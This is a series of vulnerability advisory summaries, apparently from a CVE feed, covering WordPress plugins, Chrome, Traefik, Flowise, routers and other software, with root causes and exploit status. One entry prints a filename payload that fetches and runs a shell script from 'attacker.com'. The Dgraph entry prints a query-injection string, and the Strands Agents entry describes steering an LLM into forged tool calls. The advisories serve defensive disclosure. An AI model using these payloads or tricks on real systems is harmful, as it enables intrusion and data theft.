Privilege escalation in ICS-Park Smart Park Management System v2.0 allows any authenticated low-privilege user to assume higher roles by sending crafted requests directly to the /system/role/save and /system/user/update endpoints, bypassing server-side authorization checks. The flaw affects RoleController.java and UserController.java, which fail to enforce permission boundaries before persisting role or user modifications. No public exploitation confirmed in CISA KEV, but a proof-of-concept is publicly available on GitHub, concretely lowering the bar for abuse by any user with a valid session.
Unauthenticated SQL injection in the Creative Mail WordPress plugin (versions 1.6.5-1.6.9) allows remote attackers to read the entire WordPress database without credentials. The vulnerability resides in an unsanitized parameter processed during abandoned cart email handling - a core feature of the plugin - making it exploitable against any site where the plugin is installed and that feature is active. A publicly available proof-of-concept exists via WPScan, raising the practical exploitation risk significantly beyond what CVSS base score alone conveys.
Cross-workspace credential theft in Flowise through 3.1.4 exploits a missing workspace-scoped authorization check in the OpenAI Assistants integration, enabling authenticated users to access credentials owned by unrelated workspaces by supplying arbitrary credential UUIDs. The flaw exposes multi-tenant deployments: an attacker with any valid account can enumerate assistant metadata, retrieve file and vector store listings, and write files into victim workspaces without owning or having delegated access to the target workspace. No KEV listing at time of analysis, but a public advisory exists; the product appears to have entered sunset, potentially leaving the vulnerability unpatched.
Unauthenticated license-key erasure and premium deactivation is possible in the Checkimate WooCommerce Checkout, Abandoned Cart Recovery & Order Bumps WordPress plugin through version 1.0.13. The plugin's license-management endpoint relies on a shared secret computed exclusively from publicly available site information - an authentication bypass that renders the access control trivially circumventable. Any remote attacker who can reach the WordPress site can permanently erase the stored license key and strip the installation of its paid premium status; a public proof-of-concept exists (reported by WPScan), though EPSS remains low at 0.14%, indicating opportunistic rather than widespread exploitation at time of analysis.
Server-Side Request Forgery (SSRF) in the Newsletters WordPress plugin before 4.16 allows unauthenticated remote attackers to force the hosting server to issue HTTP requests to arbitrary internal or external URLs via the unauthenticated bounce-processing endpoint. A publicly available proof-of-concept exists per WPScan reporting. Despite the high CVSS score of 8.2, EPSS is very low at 0.14% (3rd percentile), and SSVC rates it non-automatable with only partial technical impact, suggesting opportunistic rather than mass exploitation at this time.
Unauthenticated remote denial of service in LightFTP through version 2.4 exploits multiple data race conditions in ftpserv.c via the LIST/ABOR command sequence. The control thread closes shared data_socket and file_fd descriptors while worker threads concurrently reference the same fields in worker_thread_cleanup, enabling the OS to reassign stale descriptors to unrelated resources and producing undefined behavior. A publicly available proof-of-concept exists (GitHub issue #75); exploitation has not been confirmed in the wild (not in CISA KEV), but the unauthenticated attack surface and CVSS 4.0 score of 8.2 elevate urgency for exposed deployments.
OS command injection in Shibby Tomato 1.28.0000 allows network-connected administrators to execute arbitrary shell commands on the underlying router Linux OS. The vulnerability resides in function sub_40F88C, which passes the ppp_custom argument from /tmp/ppp/wanoptions into a system call without sanitizing shell metacharacters. A public proof-of-concept exploit is available on Gitee, and because this project is abandoned - officially superseded by FreshTomato - no patch will be released, making affected deployments permanently vulnerable without firmware migration.
OS command injection in Shibby Tomato 1.28.0000 allows an authenticated remote administrator to execute arbitrary operating system commands via the `new_qoslimit_enable` argument passed to the `new_qoslimit_start` function in `/etc/qoslimit`. Exploitation requires high-privilege (admin-level) credentials, but a proof-of-concept is publicly available on Gitee. The project has been officially superseded by FreshTomato, meaning no vendor patch is expected and affected devices will remain permanently unpatched.
OS command injection in Shibby Tomato 1.28.0000's QoS management script allows an authenticated remote attacker with administrative access to execute arbitrary operating system commands on the affected router. The vulnerable function new_qoslimit_stop in /tmp/qoslimittc_stop.sh accepts a wan_iface argument that is passed unsanitized into a shell command, yielding full system-level code execution. A public proof-of-concept advisory has been disclosed on Gitee; no vendor patch is expected because Shibby Tomato is end-of-life, formally superseded by FreshTomato.
Cross-namespace traffic hijacking in Traefik's Kubernetes Gateway API provider allows a low-privileged tenant to redirect another namespace's HTTP, GRPC, TCP, or TLS traffic to an attacker-controlled backend. The root cause is a non-injective route identity scheme: namespaces and route names are hyphen-concatenated without field delimiters, so namespace=team/route=a-app and namespace=team-a/route=app produce the identical key httproute-team-a-app-..., and the later-loaded route silently overwrites the earlier one via maps.Copy. No public exploit identified at time of analysis as a KEV entry, but a full proof-of-concept bash script is publicly available and was verified against the official traefik:v3.7.8 image. All Traefik v3 releases prior to v3.6.25 and v3.7.10 are affected.
Catastrophic regex backtracking in pymdown-extensions 11.0 and earlier enables unauthenticated remote denial of service via crafted Markdown input under 50 bytes. The betterem, caret, tilde, and magiclink inline processors use ambiguous alternation groups that allow exponentially many partition paths for delimiter runs, causing the Python regex engine to spin without bound. Any web application rendering user-supplied Markdown with these extensions — including those using the pymdownx.extra bundle — is exposed to rendering-thread freeze with no authentication required, as confirmed by the CVSS PR:N/UI:N vector and GitHub security advisory GHSA-gm37-52c6-37mw. No public exploit or CISA KEV listing has been identified at time of analysis.
Unauthenticated information disclosure in the Gutenberg Essential Blocks WordPress plugin before 6.4.0 exposes published content from custom post types that site administrators deliberately registered as non-public. The plugin's public REST API route queries arbitrary post types supplied by the caller without first verifying their visibility setting, bypassing the access control intent of the post type registration. A publicly available proof-of-concept exists; EPSS sits at 0.14% (4th percentile) suggesting exploitation remains rare despite automatable conditions, and the vulnerability is not currently listed in the CISA KEV catalog.
Unauthenticated information disclosure in Gutenberg Essential Blocks for WordPress (versions before 6.4.0) exposes WooCommerce per-product lifetime sales unit counts to any internet user via an unrestricted public REST API route. The plugin over-fetches a non-public WooCommerce metric and surfaces it in the REST response without access control enforcement, meaning competitors, scrapers, or threat actors can query sales volumes for any published product on affected stores. A publicly available proof-of-concept exploit exists per WPScan, and SSVC assessment confirms the attack is automatable; however, EPSS sits at just 0.14% (4th percentile), indicating limited observed exploitation at time of analysis.
Events Manager WordPress plugin before version 7.4 exposes an unauthenticated REST API endpoint that serves temporarily stored file uploads without any authorization check, enabling an attacker who has obtained a victim's high-entropy temporary upload identifier to retrieve that user's in-progress file submission. Classified as CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor), the flaw represents a missing permission_callback on a WordPress REST route - effectively an IDOR variant against ephemeral upload objects. A public POC is available via WPScan; no CISA KEV listing exists, and the EPSS score of 0.14% (4th percentile) reflects the practical constraint imposed by identifier acquisition being the dominant bottleneck.
Payment amount manipulation in Stripe Payment Forms by WP Full Pay (WordPress plugin) before version 8.5.2 allows any unauthenticated visitor to arbitrarily lower - or potentially zero-out - the price of a Stripe payment intent before checkout completes. The flaw stems from an incomplete authorization fix in 8.5.0 that patched only one of the two vulnerable AJAX handlers, leaving the pricing-recalculation and payment-intent-update endpoints exposed. A publicly available proof-of-concept exists, and SSVC analysis confirms the vulnerability is automatable, raising the practical risk above what the low EPSS score (0.13%, 3rd percentile) alone would suggest.
Command injection in PHP_CodeSniffer's Gitblame, Hgblame, and Svnblame report generators allows arbitrary shell command execution on the host running the tool when it processes files with shell-metacharacter-containing names. Versions before 3.13.6 (v3 branch) and 4.0.2 (v4 branch) are affected. This is especially impactful in CI/CD pipelines scanning untrusted pull requests, where an attacker can submit a file named with embedded shell commands (e.g., `$(curl attacker.com/shell.sh|bash).php`) and trigger execution on the CI runner - no public exploit confirmed at time of analysis, but the fix diff and advisory make the injection mechanism fully public.
Unauthenticated cross-site scripting in the NextGEN Gallery WordPress plugin (versions <= 4.2.3) allows a remote, unauthenticated attacker to inject arbitrary JavaScript into pages rendered for other users. The scope change (S:C) in the CVSS vector indicates the malicious script executes in the victim's browser context rather than being contained to the plugin itself, enabling session hijacking, credential theft, or malicious redirects against site visitors or administrators. No public exploit code or CISA KEV listing has been identified at time of analysis.
Cross-user HTTP response poisoning in Traefik's default reverse proxy allows an unauthenticated remote attacker using HTTP/2 or HTTP/3 to smuggle responses into other clients' backend connections, potentially delivering authenticated or private content from one user to another. All supported Traefik branches through v2.11.52, v3.6.23, and v3.7.8 are affected in default configuration when fronting Go net/http or gunicorn/Flask backends, which are confirmed 'armed' (respond to CONNECT with keep-alive non-2xx without draining the body). A proof-of-concept is publicly available demonstrating reliable cross-user poisoning including a cascade scenario where 8 of 8 sequential victims read responses that were not their own; no CISA KEV listing was present at time of analysis.
Arbitrary file deletion and read access in the File Manager WordPress plugin (versions 6.0-6.9) allows any authenticated user with subscriber-level access or above to delete or read arbitrary server files, including wp-config.php, which can be leveraged for remote code execution. The flaw is rooted in a parameter-source discrepancy in elFinder's connector: the bind registration for the rm.pre permission handler reads exclusively from $_POST, while the dispatcher reads from the merged $_GET+$_POST superglobal - allowing an attacker to inject cmd=rm or cmf=file via the URL query string of a POST request, entirely bypassing authorization checks. A patched version (6.9.1) has been released per the WordPress plugin repository changeset; no public exploit has been identified at time of analysis, though the Wordfence disclosure provides sufficient technical specificity for exploitation.
Remote code execution within the V8 JavaScript engine affects Google Chrome prior to 151.0.7922.109, allowing a remote attacker to execute arbitrary code inside the browser sandbox by luring a victim to a crafted HTML page. The flaw stems from an inappropriate implementation in V8 (CWE-693, Protection Mechanism Failure), carrying a CVSS 8.8 rating with high confidentiality, integrity, and availability impact. No public exploit code has been identified and CISA SSVC confirms no active exploitation at time of analysis, though the technical impact is rated total by SSVC, underscoring the severity if exploited.
Remote code execution within the Chrome sandbox is possible in Google Chrome versions prior to 151.0.7922.109 due to a use-after-free vulnerability in the V8 JavaScript engine, triggerable by a remote attacker through a specially crafted HTML page. The attacker achieves arbitrary code execution confined to the Chrome renderer sandbox, requiring no privileges but necessitating user interaction to visit a malicious page. Google has released a fix in version 151.0.7922.109; SSVC assessment confirms no known active exploitation at time of analysis, and no public exploit code has been identified.
Remote code execution within Chrome's sandboxed renderer process is achievable in Google Chrome prior to 151.0.7922.109 through a crafted HTML page exploiting an inappropriate implementation in the V8 JavaScript engine. An unauthenticated remote attacker needs only to lure a victim to a malicious page - no credentials or special privileges are required on the attacker's side. Google has rated this High severity (Chromium classification); no public exploit has been identified at time of analysis, and CISA SSVC reports exploitation status as none, though technical impact is rated total within the sandbox boundary.
Unauthenticated database destruction and arbitrary SQL injection in Ground Station's Socket.IO server allows any network peer to permanently wipe or replace the entire SQLite database without credentials. The `database_backup` event handler on port 7000 accepts a caller-supplied SQL blob and executes it via raw `exec_driver_sql`, enabling complete erasure of satellite records, orbital sources, hardware configurations, and observation schedules, or implantation of malicious orbital-source URLs that redirect the ground station to attacker-controlled infrastructure on the next scheduled sync. No public exploit has been identified at time of analysis, and CISA KEV status is not confirmed, but the attack requires no authentication and no special configuration, making exploitation trivial from any host with network reach to port 7000.
Remote code execution within the Chrome sandbox via an integer overflow in the V8 JavaScript engine affects Google Chrome prior to version 151.0.7922.109. An unauthenticated remote attacker can trigger the flaw by enticing a user to visit a specially crafted HTML page, resulting in full compromise of confidentiality, integrity, and availability within the renderer process. No public exploit code has been identified and CISA SSVC confirms exploitation status as none, though the total technical impact and low attack complexity elevate real-world priority for patching.
Remote code execution within the Chrome renderer sandbox is possible in Google Chrome versions prior to 151.0.7922.109 through an out-of-bounds write flaw in the V8 JavaScript engine, triggerable by a crafted HTML page. An unauthenticated remote attacker needs only to lure a victim to a malicious page, achieving code execution confined to the sandboxed renderer process. No public exploit or active exploitation has been identified at time of analysis; however, the CVSS 8.8 score and SSVC total technical impact classification indicate significant potential consequences if exploitation is developed.
Use-after-free in Google Chrome's Translate component (versions prior to 151.0.7922.109) enables remote attackers to execute arbitrary code within the browser's renderer sandbox by directing a user to a crafted HTML page. The CVSS 8.8 score reflects network-accessible, low-complexity exploitation gated only by a single user interaction - visiting an attacker-controlled page. No public exploit code or CISA KEV listing has been identified at time of analysis, though the RCE primitive within one of the world's most widely deployed browsers represents a materially significant attack surface.
Authorization bypass across multiple API endpoints in eScriptorium through version 26.04.1 allows any authenticated user to read, modify, and delete transcription content belonging to other users. The root cause is a CWE-639 Insecure Direct Object Reference: primary keys supplied by the client in request bodies are resolved against the global Django model manager rather than a queryset scoped to the requesting user's own objects, eliminating all per-user data isolation on the Line, LineTranscription, VirtualCollection, tag, and process endpoints. No public exploit or active exploitation has been confirmed at time of analysis, but the low attack complexity makes this straightforward to exploit with a standard user account.
Privilege escalation in Google Chrome's Contextual Tasks feature (prior to 151.0.7922.109) allows a remote attacker to escalate privileges by luring a victim to a crafted HTML page that delivers insufficiently validated untrusted input. The vulnerability carries a CVSS 8.8 score, reflecting high confidentiality, integrity, and availability impact with no prior authentication required from the attacker. No public exploit code or active exploitation (CISA KEV) has been identified at time of analysis, though the low attack complexity and Chrome's ubiquitous deployment surface make prompt patching a priority.
Privilege escalation in the Forminator WordPress plugin (≤1.56.0) allows authenticated Contributor-level users to elevate their privileges to a higher role, potentially achieving administrative control over the WordPress installation. The flaw, rooted in CWE-266 (Incorrect Privilege Assignment), carries a CVSS score of 8.8 and a full High C/I/A impact rating, indicating that successful exploitation can result in complete compromise of confidentiality, integrity, and availability of the affected site. No public exploit code or CISA KEV listing has been identified at time of analysis, but the low-privilege entry bar and network accessibility make this an elevated priority for WordPress deployments using this plugin.
Super Socializer plugin for WordPress (versions ≤ 7.14.5) contains a broken authentication vulnerability (CWE-288) that permits unauthenticated remote attackers to bypass the social login authentication mechanism and gain unauthorized access to WordPress user accounts. The CVSS vector (AV:N/AC:L/PR:N/UI:R) indicates low-complexity network exploitation requiring victim interaction, consistent with a social login callback or token-verification bypass where a victim must initiate or interact with the login flow. No public exploit code and no CISA KEV listing have been identified at time of analysis, though the high CVSS score (8.8) and full C/I/A impact reflect the potential for complete account takeover.
Server-side request forgery in Fedify's getNodeInfo() function allows unauthenticated remote attackers to pivot through a Fedify server into internal network services - including loopback interfaces, cloud metadata endpoints (e.g., AWS IMDS at 169.254.169.254), and RFC 1918 private networks - by returning a crafted /.well-known/nodeinfo document with a malicious links[].href value. Affected versions span the 1.9 through 2.3 maintenance lines starting from 1.2.0, with response bodies from internal services returned directly to the initiating attacker. No confirmed active exploitation (not in CISA KEV) and no POC status was provided in the input data, but SSRF against cloud metadata is a high-value, well-understood attack path.
Use-after-free in Google Chrome's HTML engine (all versions prior to 151.0.7922.109) exposes users to potential heap corruption and code execution when they visit a crafted HTML page. The CVSS 8.8 score reflects unauthenticated, network-reachable exploitation requiring only a single user interaction - consistent with Chromium's own 'High' severity classification. No public exploit code or CISA KEV listing has been identified at time of analysis; a vendor patch (151.0.7922.109) has been released and is the primary mitigation.
Kernel crash vulnerability in the Linux SMB client subsystem results from a type mismatch in smb2_aead_req_alloc() where an unsigned 32-bit integer is incorrectly passed to ERR_PTR(), generating an invalid error pointer that causes a system panic upon dereference. Systems running the Linux kernel with the SMB client module (cifs) and SMBv2/v3 AEAD encryption enabled are affected across multiple stable branches, with patches available in versions 6.6.145, 6.12.96, 6.18.39, 7.1.4, and 7.2-rc1. No public exploit code exists and no CISA KEV listing applies; EPSS probability is extremely low at 0.16% (5th percentile), indicating this is primarily a kernel reliability fix with negligible active exploitation interest despite the high official CVSS score.
Use-after-free race condition in the Linux kernel brcmfmac Broadcom WiFi driver enables adjacent-network attackers to corrupt kernel memory during concurrent device removal and bus_reset work execution. Affected systems include any Linux host running brcmfmac on PCIe, SDIO, or USB Broadcom chipsets - including Raspberry Pi devices - on kernel versions since 5.2 through pre-7.1.6. No public exploit or CISA KEV listing exists at time of analysis, and EPSS probability is low at 0.14% (4th percentile), though the kernel-level impact class remains high.
Arbitrary file write via Zip-Slip in Nx's self-hosted HTTP remote cache extractor allows a malicious or MITM-positioned cache server to overwrite files anywhere on the developer's machine, escalating to remote code execution. Affected are Nx workspaces using self-hosted remote cache (NX_SELF_HOSTED_REMOTE_CACHE_SERVER, @nx/s3-cache, @nx/gcs-cache, @nx/azure-cache, @nx/shared-fs-cache) running nx >= 20.8.0 and < 22.7.7; Nx Cloud and the default local cache are confirmed unaffected. No public exploit code has been identified and this vulnerability is not listed in CISA KEV at time of analysis, but the CVSS 4.0 score of 8.7 and trivial exploitability once positioned reflect significant real-world risk for teams using self-hosted caching.
Out-of-bounds heap read in Contiki-NG's LwM2M TLV parser discloses adjacent heap memory - including cryptographic key material and peer IP addresses - to any unauthenticated network attacker. The flaw in `lwm2m_tlv_read()` (os/services/lwm2m/lwm2m-tlv.c) is triggered by a single crafted CoAP WRITE request whose final TLV supplies exactly one byte, causing the parser to read up to five bytes beyond the buffer boundary. Because LwM2M NoSec mode is the default for constrained IoT devices, no authentication is required, and the upstream fix is confirmed in commit f1673b5766d4d4d514cefb8a0350f43653574997 (PR #3165) but a tagged release has not been independently confirmed. No public exploit or CISA KEV listing has been identified at time of analysis.
XML External Entity (XXE) injection and recursive entity expansion in WSO2's SchemaValidator Mediator expose server-side file contents and enable SSRF across a broad range of WSO2 API management products. Exploitation requires a highly privileged actor - confirmed by PR:H in the CVSS vector - who can supply crafted XML payloads to affected mediator flows, triggering unauthorized outbound requests, server file reads, or resource exhaustion that degrades service availability. Vendor patches are available for all listed affected versions; no public exploit code or CISA KEV listing has been identified at time of analysis.
Unauthenticated credential disclosure in Dinky v1.2.5 exposes the full live system configuration - including cleartext API tokens, LDAP passwords, and object storage keys - via a single parameterless GET request to /api/sysConfig/getAll. The root cause is a method-level @SaIgnore annotation that silently overrides the class-level @SaCheckLogin guard in the Sa-Token framework, leaving the endpoint fully unprotected on the default port 8888. Critically, the leaked dinkyToken directly unlocks a sibling arbitrary file write endpoint (POST /download/uploadFromRsByLocal), meaning this disclosure neutralises token rotation as a mitigation for that chained vulnerability; no public exploit has been identified at time of analysis.
Unauthenticated OAuth token rotation in Flowise through 3.1.4 allows any network-reachable attacker to force OAuth credential refresh against credentials belonging to any workspace by exploiting incomplete prefix-based whitelist matching in the authentication middleware. The authentication bypass targets the OAuth2 credential refresh endpoint, where appending a trailing credential identifier satisfies the prefix check without triggering authorization logic. This is a confirmed bypass of CVE-2026-41273, meaning a prior patch for the same middleware was incomplete. No public exploit identified at time of analysis from KEV, though a public advisory with technical detail exists via the Caycon GitHub repository, and the product has been announced as sunset.
Unauthenticated denial-of-service in sgoudelis/Ground Station prior to 0.6.0 allows any network peer to forcibly terminate the application process by emitting a single Socket.IO event requiring no credentials. Authentication enforcement is disabled and a wildcard CORS policy is in place, exposing the service_control handler - which triggers process shutdown via a restart_service command - to any host with TCP access to port 7000. In Docker deployments, the attack can be repeated in a loop to sustain a persistent outage of all satellite-tracking sessions, SDR recording pipelines, demodulators, decoders, and rotator controllers. No public exploit or CISA KEV listing is identified at time of analysis.
Unauthenticated remote shutdown of OpenChamber 1.11.7 is possible by sending a single POST request to /api/system/shutdown, terminating the server process and instantly denying service to all active AI coding sessions. The flaw stems from the /api/system/shutdown route being registered before the authentication middleware in the Express handler chain within bootstrap-runtime.js, meaning authentication is never evaluated for that endpoint regardless of whether UI_PASSWORD is configured. No public exploit code or CISA KEV listing has been identified at time of analysis, though the attack requires no privileges or user interaction and is trivially reproducible against any network-exposed instance.
Memory exhaustion denial-of-service in Sonic 3 A.I.R.'s UDP networking stack allows unauthenticated remote attackers to crash the multiplayer server process with a single crafted packet. The root cause is in ReceivedPacketCache::enqueuePacket() within the OxygenEngine netcore layer: the mUniquePacketID field is read directly from the UDP wire format without bounds validation, and when set to UINT32_MAX the server attempts to allocate one CacheItem per missing packet ID gap, exhausting host memory until an uncaught std::bad_alloc propagates to std::terminate(). No public exploit code and no CISA KEV listing exist at time of analysis, but the CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VA:H, score 8.7) reflects that the attack is trivially automatable from any network-reachable position.
Cross-tenant insecure direct object reference in Amazon Strands Agents Tools' memory backends exposes multi-tenant deployments to unauthorized read, write, and delete operations on other tenants' stored memories. Authenticated users of versions before 0.8.3 can influence the LLM intermediary to emit tool calls carrying a forged namespace parameter, bypassing tenant isolation in mongodb_memory, elasticsearch_memory, and mem0_memory. No public exploit code or CISA KEV listing exists at time of analysis; the vendor-released fix is version 0.8.3.
Command injection in sysPass's backup service allows any authenticated administrator to execute arbitrary OS commands as the web server process user by storing shell metacharacters in the backup path configuration setting and triggering a backup operation. Because sysPass is a self-hosted password manager, successful exploitation grants direct read access to the master encryption key and entire credential vault, enabling mass credential disclosure and lateral movement to every system whose passwords are stored in sysPass. A public proof-of-concept is available via the referenced gist (https://gist.github.com/W40X/6747ba1b7da7bb69b0c0e162628df279); no CISA KEV listing was identified at time of analysis.
NoSQL injection in Dgraph prior to 25.3.8 enables unauthenticated remote attackers to inject DQL operators through unvalidated regexp filter arguments in GraphQL queries and mutations, bypassing intended node-level access controls. The `maybeQuoteArg` function in `graphql/resolve/query_rewriter.go` writes regexp arguments verbatim into generated DQL without validating the `/pattern/flags` structure, allowing a crafted filter value like `/x/) OR has(pred` to close the regexp call and append attacker-controlled DQL expressions. No confirmed active exploitation at time of analysis and no CISA KEV listing, but the fix commit includes a working injection payload as a regression test, confirming ease of exploitation against accessible endpoints.
Host header injection in Frappe's magic login link generation exposes users to account takeover via authentication token hijacking. Frappe versions prior to 15.108.0 (v15 branch) and 16.18.3 (v16 branch) construct emailed magic login URLs using the attacker-controlled HTTP Host header, allowing an unauthenticated remote attacker to craft a request that causes the application to send a seemingly legitimate email containing a login link pointing to an attacker-controlled domain - capturing the one-time token when the recipient clicks. No public exploit is identified at time of analysis, but the attack requires no authentication and minimal technical complexity, making it accessible to a broad range of threat actors.
Sandbox escape in Google Chrome on Android prior to 151.0.7922.109 is achievable by a local attacker via a malicious file exploiting insufficient input validation in WebAPK processing. The CVSS scope change (S:C) with high confidentiality, integrity, and availability impacts reflects the potential for full breakout beyond Chrome's sandbox boundary into the broader Android process space. No public exploit code or CISA KEV listing has been identified at time of analysis; a vendor patch is available in the stable channel release.
SQL injection in the WP Job Portal WordPress plugin (versions up to and including 2.5.6) is exploitable by any authenticated subscriber-level user, the lowest WordPress role available to registered users. The CVSS scope change (S:C) indicates the injection escapes the plugin's own query context and can reach the broader WordPress database, yielding high confidentiality impact against data owned by other plugins or core tables. No public exploit code or CISA KEV listing exists at time of analysis, but the low authentication bar significantly lowers the effective exploitation threshold on sites with open user registration.
SQL injection in Creative Mail by Constant Contact (WordPress plugin, versions ≤1.6.9) allows authenticated subscribers to execute arbitrary SQL against the WordPress database. The CVSS scope change (S:C) indicates the injection can reach database resources beyond the plugin's own tables, including WordPress user credentials, private posts, and configuration data. No public exploit code or CISA KEV listing has been identified at time of analysis.
Server-side request forgery in eScriptorium through 26.04.1 allows remote authenticated users to pivot from the application server into internal networks, including cloud instance metadata services (IMDS), by supplying attacker-controlled URIs to the METS or IIIF import API endpoint. The vulnerability is rooted in the default wildcard value of the IMPORT_ALLOWED_DOMAINS setting combined with a total absence of address filtering, redirect-following caps, or request timeouts - meaning any authenticated user can coerce the server into issuing arbitrary HTTP requests. With CVSS S:C (scope changed) and C:H, the primary risk is exfiltration of cloud credentials via IMDS (e.g., AWS 169.254.169.254), which can escalate a low-privilege application account into full cloud environment compromise. No public exploit or KEV listing identified at time of analysis.